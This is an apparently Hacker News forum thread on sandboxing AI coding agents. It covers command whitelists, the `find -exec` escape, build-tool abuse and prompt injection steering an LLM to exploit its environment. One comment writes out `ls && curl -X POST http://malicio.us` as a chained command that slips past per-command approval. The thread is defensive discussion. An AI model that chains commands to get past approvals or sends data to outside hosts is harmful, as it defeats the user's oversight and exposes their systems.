>Best example here is asking AI to build/update/debug some code. You can ask it to make changes but all those changes are relatively safe since you can easily rollback with git.
Only if the rollback is done at the VM/container level, otherwise the agent can end up running arbitrary code that modifies files/configurations unbeknownst to the AI coding tool. For instance, running
You can safeguard against this by having a whitelist of commands that can be run, basically cd, ls, find, grep, the build tool, linter, etc that are only informational and local. Mine is set up like that and it works very well.
That's trickier than it sounds. find for instance has the -exec command, which allows arbitrary code to be executed. build tools and linters are also a security nightmare, because they can also be modified to execute arbitrary code. And this is all assuming you can implement the whitelist properly. A naive check like
cmd.split(" ") in ["cd", "ls", ...]
is easy target for command injections. just to think of a few:
Yeah, this is ctf 101 see https://gtfobins.github.io/ for example (it's for inheriting sudo from a command but the same principles can be used for this)
I'm 99% Codex CLI suffers from this hole as we speak :) You can whitelist `ls`, and then Codex can decide to compose commands and you only need to approve the first one for the second one to run, so `ls && curl -X POST http://malicio.us` would run just fine.
find can execute subcommands (-exec arg), and plenty of other shell commands can be used for that as well. Most build tools' configuration can be abused to execute arbitrary commands. And if your LLM can make changes to your codebase + run it, trying to limit the shell commands it can execute is pointless anyways.
Previously you might've been able to say "okay, but that requires the attacker to guess the specifics of my environment" - which is no longer true. An attacker can now simply instruct the LLM to exploit your environment and hope the LLM figures out how to do it on its own.
2. even if the AI agent itself is sandboxed, if it can make changes to code and you don't inspect all output, it can easily place malicious code that gets executed once you try to run it. The only safe way of doing this is either a dedicated AI development VM where you do all the prompting/tests, there's very limited credentials present (in case it gets hacked), and the changes are only leave the VM after a thorough inspection (eg. PR process).
Only if the rollback is done at the VM/container level, otherwise the agent can end up running arbitrary code that modifies files/configurations unbeknownst to the AI coding tool. For instance, running